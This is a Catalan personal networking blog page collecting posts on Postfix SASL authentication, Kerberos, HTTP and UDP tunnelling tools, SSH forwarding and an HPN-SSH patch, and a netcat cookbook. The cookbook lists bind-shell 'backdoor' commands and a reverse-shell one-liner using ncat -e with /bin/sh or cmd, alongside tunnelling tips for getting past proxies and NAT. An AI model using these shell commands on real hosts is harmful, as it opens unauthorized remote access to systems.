oriolrius.cat

Des del 2000 compartiendo sobre…

Tag: Networking

Postfix autenticació amb sasldb

2011/11/16 No Comments
Reading time: 24 – 40 minutes

Quatre notes que tinc pendents de classificar, com donar suport d’autenticació a postfix de forma ràpida i senzilla.

Paquets que cal tenir a més del postfix: cyrus-sasl, cyrus-sasl-md5.

Línies que cal tenir al /etc/postfix/main.cf:

smtpd_sasl_application_name = smtpd
smtpd_sasl_type = cyrus
smtpd_sasl_path = sasl2/smtpd.conf
smtpd_sasl_local_domain =
smtpd_sasl_security_options = noanonymous
broken_sasl_auth_clients = yes
smtpd_sasl_auth_enable = yes
smtpd_recipient_restrictions = permit_sasl_authenticated, permit_mynetworks, reject_unauth_destination

Fitxer de configuració del servei d’autenticació /etc/sasl2/smtpd.conf:

pwcheck_method: auxprop
auxprop_plugin: sasldb
mech_list: PLAIN LOGIN CRAM-MD5 DIGEST-MD5 NTLM

Assegurar-se que el propietari del fitxer /etc/sasldb2 és postfix.

El fitxer /etc/sasldb2 és una base de dades Berkeley DB que guarda els usuaris i les seves paraules de pas en text pla. Així doncs, no és molt segur però una solució més que suficient per molts entorns SOHO.

Gestió d’usuaris:

# afegir usuari
saslpasswd2 -a smtpd -u domini_exemple.com nom_usuari

# borrar usuari
saslpasswd2 -d -u domini_exemple.com nom_usuari

# llistar usuaris
sasldblistusers2

La configuració que heu de posar al MUA pel que fa al servidor de correu ha de ser del tipus:

usuari: nom_usuari@domini_exemple.com
pass: el que hagiu definit
mecanisme d'autenticació suportats:  PLAIN LOGIN CRAM-MD5 DIGEST-MD5 NTLM

UPDATE 27/2/2012:

Perquè es pugui tenir accés al fitxer /etc/sasldb2 cal que el mòdul smtpd de postfix no es llenci com a chroot. Per evitar això cal modificar el fitxer /etc/postfix/master.cf concretament la línia del dimoni smtpd ha de quedar així:

smtp      inet  n       -       n       -       -       smtpd

Per tenir suport de SASL a Ubuntu Lucid cal instal·lar els paquets: sasl2-bin i libsasl2-modules.

Notes sobre balanceig de càrrega i alta disponibilitat (load-balancig and HA)

2010/11/19 No Comments

Reading time: < 1 minute Al wiki fa uns dies vaig començar una secció referedia a temes de balanceig de càrrega i alta disponibilitat en linux, en escència són fruit de la recol·lecció d'informació que vaig fer per preparar un projecte que estic montant i que requereix aquestes funcionalitats. Així doncs, per donar-li rellevancia aquestes notes malgrat no estan acabades ni tenen un ordre i idioma depurats les adjunto aquí.

Zeroconf – quatre apunts que poden ser útils

2010/11/10 No Comments

Reading time: < 1 minute No tenia gaire frescos els mecanismes que usava Zeroconf per treballar, així doncs, arran d'un comentari fet pel Marcos he decidit invertir-hi una estoneta per fer-me uns petits apunts sobre el tema. Són quatre notes que he posat al wiki i que enllaço a continuació espero que ús siguin útils.

Què és un WebHook?

2010/08/21 No Comments

Reading time: < 1 minute WebHook logo
Un WebHook és una HTTP callback, o sigui, un HTTP POST que es dona quan algo passa (un event); o sigui, que podem definir WebHook com a sistema de notificació d’events per HTTP POST.

El valor més important dels WebHooks és la possibilitat de poder rebre events quan aquest passen no a través dels ineficaços mecanismes de polling.

Si voleu més informació sobre aquest tema: WebHooks site.

Podcast 2×06: Com funciona Kerberos? autenticació i autorització (AA)

2010/07/27 No Comments

Reading time: 4 – 6 minutes

El podcast

[display_podcast]

Notes

Estàndard RFC1510 per l’autenticació, destaquen les funcionalitats de:

  • autenticació mutua
  • temps de connexió ràpids (session tickets)
  • delegació (autenticació recursiva entre serveis)

Esquemes

Simplifiació del funcionament

Hi ha 6 tipus de missatges (5 obligatoris + 1 opcional), agrupats en 3 su-protocols:

  • AS (Authentication Service) – es produeix durant el procés de “login” i li permet al client poder demanar un ticket per accedir als recursos (TGT)
    • KRB_AS_REP
      • Client principal name.
      • Timestamp.
      • Kerberos target principle name (realm).
      • Requested lifetime.
    • KRB_AS_REP
      • La primera part va xifrada usant la clau d’usuari, conté:
        • User-TGS key (generated by the KDC).
        • Kerberos target principle name (realm).
        • Ticket lifetime.
      • La segona part és el TGT, va xifrat usant la clau TGS generada pel KDC només els servidor la poden obrir, malgrat això s’enmagatzema en el client i conté:
        • Client principal name.
        • Ticket lifetime.
        • KDC timestamp.
        • User-TGS key (which is not retained by the KDC, but its presence within the TGT means it is available when required).
        • Client IP address (taken from the initial KRB_AS_REQ).
  • TGS (Ticket Granting Service) – a través del TGT el client poy demanar un “service ticket” (ST) necessari per poder accedir a un servei. El TGT té un funcionament semblant al d’un password (expira amb el temps i no requereix password), el ST obtingut seria semblant a un visat d’accés a un país.
    • KRB_TGS_REQ
      • Service principal name.
      • Requested lifetime.
      • TGT (still encrypted with the TGS key).
      • Authenticator (encrypted with the user-TGS key and containing a client timestamp) – The authenticator guarantees that the request originated from the client.
    • KRB_TGS_REP
      • La primera part va xifrada amb la clau TGS de l’usuari (el KDC l’extreu del TGT) i conté:
        • Service principal name.
        • Ticket lifetime.
        • User service key (encrypted with a user-TGS session key, generated by the KDC).
      • Part dos, és el “service ticket” (ST). Xifrat usant la clau del servei TGS. Conté:
        • User service key (encrypted with a user-TGS session key, generated by the KDC).
        • Client principal name.
        • Ticket lifetime.
        • KDC timestamp.
        • Client IP address.
  • Client/Server (AP) Exchange – per accedir a un servei el client envia al servei un KRB_AP_REQ amb el ST obtingut. El servei pot o no contestar la petició, a vegades, el servei directament comença la seva sessió.
    • KRB_AP_REQ
      • ST xifrat amb la clau TGS del servei
      • Authenticator – encrypted with the user service key
    • KRB_AP_REP

Característiques

  • ‘Realm‘ es defineix com un domini d’aministració
  • Tots els servidors i participants en les transaccions pertanyen al mateix ‘Realm’
  • Tots els missatges viatgen xifrats usant un codi simètric (no-PKI)
  • La “user key” es genera a partir del “logon password”
  • La “host key” es genera quan el “host” s’uneix al ‘Realm’
  • Si un client vol accedir a un servei i no ha fet el TGS pot enviar el TGT en el “AP exchange” i el servei farà la gestió amb el KDC de forma transparent.
  • Important recordar que:
  • només el KDC pot llegir el TGT
  • només el servei pot llegir el ST

Glossari d’acrònims

  • KDC: Key Distribution Center
  • AS: Authentication Service
  • TGS: Ticket Granting Service
  • SS: Service Server

Referències:

Error coneguts

  • Degut a un error el podcast 2×05 no exiteix. Sento l’error!

httptunnel: TCP sobre HTTP

2010/06/20 No Comments
Reading time: 7 – 11 minutes
HTTPtunnel logo

Amb httptunnel es poden establir connexions TCP sobre un enllaç HTTP, és a dir, disposem de dues eines el htc i el hts, escencialment el que fa és:

  • hts: publica un port simulant un servidor HTTP al conectar-hi amb htc ens enviarà cap al HOST:PORT configurats
  • htc: es conecta a hts usant HTTP i simulant un client HTTP normal (ffx, crhome, ie, etc) però en realitat transporta paquets TCP en el payload de les queries, l’usuari pot conectar-se a un port local que es publica i que permet accedir al HOST:PORT al que ha conectat hts de forma transparent

Per fer una prova de concepte jo el que he fet és conectar el hts amb un servidor VNC, al costat del htc he connectat un client VNC i he accedit al VNC de forma totalment transparent, a més amb un sniffer he comprovat que els paquets que passeben per la xarxa eren paquets HTTP estàndards, i així era. Tan senzill com això:

server:
./hts -w -F 127.0.0.1:5900 1080

client:
./htc -F 2300 server:1080
vinagre localhost:2300

A més també suporta la possibilitat de fer-ho a través d’un proxy, això si aquest només esta suportat si és sense autenticació o amb autenticació bàsica. Així doncs, a partir d’això em venen al cap algunes millores interessants:

  • suportar autenticació Digest i NTLM.
  • permetre accés al tunel via stdin/stdout (així ho podriem usar amb SSH com a ProxyCommand).
  • poder connectar-se a un segon proxy en l’extrem remot, és a dir, hts no té l’enllaç pre-establert.
  • suportar SSL, així ens estalbiariem haver d’usar stunnel per simular HTTPs.

netcat – cookbook

2010/05/31 No Comments
Reading time: 72 – 119 minutes
  • client TCP, en aquest cas HTTP
C:\client>ncat google.com 80
GET / HTTP/1.1
  • client telnet:
C:\client>ncat -t 192.168.1.1 23
  • simula un servidor TCP/HTTP molt simple:
C:\server>ncat -l 127.0.0.1 80 < stuff.txt
C:\client>ncat localhost 80

C:\server>ncat -l --keep-open 80 < stuff.txt
C:\client>ncat localhost 80
  • servidor UDP:
C:\server>ncat -l 74 --udp
C:\client>ncat --udp localhost 74 < stuff.txt
  • es pot especificar el port i IP origen a usar:
C:\client>ncat www.irongeek.com 80 -p 80 -s 127.0.0.1
C:\client>ncat www.irongeek.com 80 -p 80 -s 192.168.1.1
  • interconnecta clients, ‘proxy-tcp’
C:\server>ncat -l 74
C:\client1>ncat localhost 74
C:\client2>ncat localhost 74

C:\server>ncat -l 74 --broker
C:\client1>ncat localhost 74
C:\client2>ncat localhost 74
  • servidor de ‘chat’ molt simple
C:\server>ncat -l 74 --chat
C:\client1>ncat localhost 74
C:\client2>ncat localhost 74
  • client TCP+SSL:
C:\client>ncat gmail.google.com 443 --ssl
GET / HTTP/1.1
  • transmissió de fitxers via TCP+SSL:
C:\server>ncat.exe -l --ssl 74 --send-only < ncat.exe
C:\client>ncat localhost 74 --ssl > out2.exe
(ends self)

C:\client>ncat --ssl -vvv -l > newfile
C:\server>ncat -v --send-only --ssl localhost < ncat.exe
(Good for getting around NAT)
  • proxy molt simple:
C:\ncat>ncat -l 8080 --proxy-type http --proxy-auth adc:test --ssl
  • shell amb backdoor:
    • Linux:
ncat -l 23 -e /bin/sh
C:\server>ncat 192.168.159.128 23
    • Windows:
C:\server>ncat -l 23 -e cmd
ncat 192.168.159.129 23
  • Reverse Shell (aka: Shovel Shell)
C:\server>ncat -l 74
C:\client>ncat 192.168.159.128 74 -e cmd
  • netcat relay
C:\ncat>ncat -l localhost 80 --sh-exec "ncat google.com 80 -o text.txt -x hex.txt"

UDPTunnel – enviar els paquets UDP per sobre d’enllaços TCP

2010/03/19 No Comments
Reading time: 8 – 12 minutes

Una altre d’aquelles eines que malgrat ser petitones i rares poden servir per fer mil i una coses. Per exemple, connectar a un servidor DNS a través d’un port TCP en una xarxa on el tràfic UDP estigui tancat.

UDPTunnel és una eina molt simple d’usar i la seva sintaxis és molt autoexplicativa:

 udptunnel -s TCP-port [-r] [-v] UDP-addr/UDP-port[/ttl]
 udptunnel -c TCP-addr[/TCP-port] [-r] [-v] UDP-addr/UDP-port[/ttl]

és interessant fixar-se que el mateix executable pot ser usat com a servidor o com a client, així doncs ideal per construir els dos costats de l’enllaç de forma simple.
A més si ho combinem amb httptunnel podem passar per sobre de proxies de forma senzilla.

Podcast 2×04: SSH avançat

2010/03/12 No Comments
Reading time: 56 – 93 minutes

El podcast

[display_podcast]

Notes sobre el podcast

  • -L: connecta per SSH a un HOST Un cop allà obre una connexió TCP a un altre HOST:PORT i obre un port TCP local que al connectar-hi ens envia al HOST:PORT anteriors, o sigui, portforwarding.
    • -L [bind_address:]port:host:hostport]
  • -W: connecta per SSH a un HOST un cop allà obre una connexió TCP a un altre HOST:PORT i ens retorna a la stdin/stdout el contingut d’aquest darrer enllaç TCP
    • -W host:hostport
  • -R publicar un port: connecta per SSH a un host i un cop allà publica un port TCP, quan un client es connecta a aquest port TCP accedeix per SSH a la màquina que ha llença l’enllaç SSH i obre un altre enllaç TCP a una altre IP:PORT.
    • -R[bind_address:]port:host:hostport
  • -D socks5: connecta per SSH a un HOST i després publica un port SOCKS5/TCP, és a dir, que podem connectar a aquest port local i sortir a internet a través de la IP del HOST on hem connectat per SSH
    • -D [bind_address:]port
  • -w tunel: connecta per SSH a un HOST i el socket que s’ha usat per fer l’enllaç SSH es connecta a dues interficies de tipus TUN, una a cada extrem del socket. Així doncs, si configurem les corresponents IPs a les interficies TUN tenim un tunel/VPN montada entre els extrems.
    • -w local_tun[:remote_tun]

HPN-SSH

La web de: HPN-SSH -> especialment interessant: Dynamic Windows and None Cipher

  • treballa amb mida de finestra dinàmica
  • treballa sense xifrat quan un enllaç no té terminal associat, sovint usat per pas de fitxers

Les proves:

  • Openssh 5.3p1 + hpn-13 (només el patch: Dynamic Windows and None Cipher)
  • després d’aplicar el patch: openssh5.3-dynwindow_noneswitch.diff.gz
  • modifiquem el fitxer: sshconnect2.c
<br><pre>linia: 366<br>- 		if (!tty_flag) /* no null on tty sessions */<br>+ 		if (1) /* no null on tty sessions */</pre><br>

així podem fer SSH sense xifrar només després d’haver fet el login.

exemple ampla de banada d’un SSH amb xifrat aes128-ctr, usant finestra dinàmica:

scp -v -oNoneEnabled=no -oNoneSwitch=yes fitxer root@127.0.0.1:/tmp/ssh
o
ssh -v -oNoneEnabled=no -oNoneSwitch=yes root@127.0.0.1 "dd if=/dev/zero"|pv > /dev/null

velocitat de transferència:  <strong>13.7MB/s</strong>
  • debug ciphers, una única negociació de ciphers:
debug1: AUTH STATE IS 0
debug1: REQUESTED ENC.NAME is '<strong>aes128-ctr</strong>'
debug1: kex: server-><strong>client</strong> aes128-ctr hmac-md5 none
debug1: REQUESTED ENC.NAME is '<strong>aes128-ctr</strong>'
debug1: kex: client-><strong>server</strong> aes128-ctr hmac-md5 none

exemple sense xifrat, usant finestra dinàmica:

scp -v -oNoneEnabled=yes -oNoneSwitch=yes fitxer root@127.0.0.1:/tmp/ssh
o
ssh -v -oNoneEnabled=yes -oNoneSwitch=yes root@127.0.0.1 "dd if=/dev/zero"|pv > /dev/null

velocitat de transferència:  <strong>37.4MB/s</strong>
  • abans del pass de login:
debug1: <strong>AUTH</strong> STATE IS <strong>0</strong>
debug1: REQUESTED ENC.NAME is '<strong>aes128-ctr</strong>'
debug1: kex: server-><strong>client</strong> aes128-ctr hmac-md5 none
debug1: REQUESTED ENC.NAME is '<strong>aes128-ctr</strong>'
debug1: kex: client-><strong>server</strong> aes128-ctr hmac-md5 none
  • després d’autenticar-se:
debug1: <strong>AUTH</strong> STATE IS <strong>1</strong>
debug1: REQUESTED ENC.NAME is '<strong>none</strong>'
debug1: Requesting NONE. Authflag is 1
debug1: None requested post authentication.
debug1: kex: server-><strong>client</strong> none hmac-md5 none
debug1: REQUESTED ENC.NAME is '<strong>none</strong>'
debug1: Requesting NONE. Authflag is 1
debug1: None requested post authentication.
debug1: kex: client-><strong>server</strong> none hmac-md5 none

Podcast 2×03: eines per jugar amb SOCKS5

2010/03/09 No Comments

Reading time: 1 – 2 minutes

Finalment l’última entrega de la trilogia de podcasts sobre SOCKS. Com indica el títol i podeu veure amb els links aquest parla d’eines per montar servidors SOCKS i wrappers per montar clients SOCKS5.

El podcast:

[display_podcast]

Referències:

Scroll to Top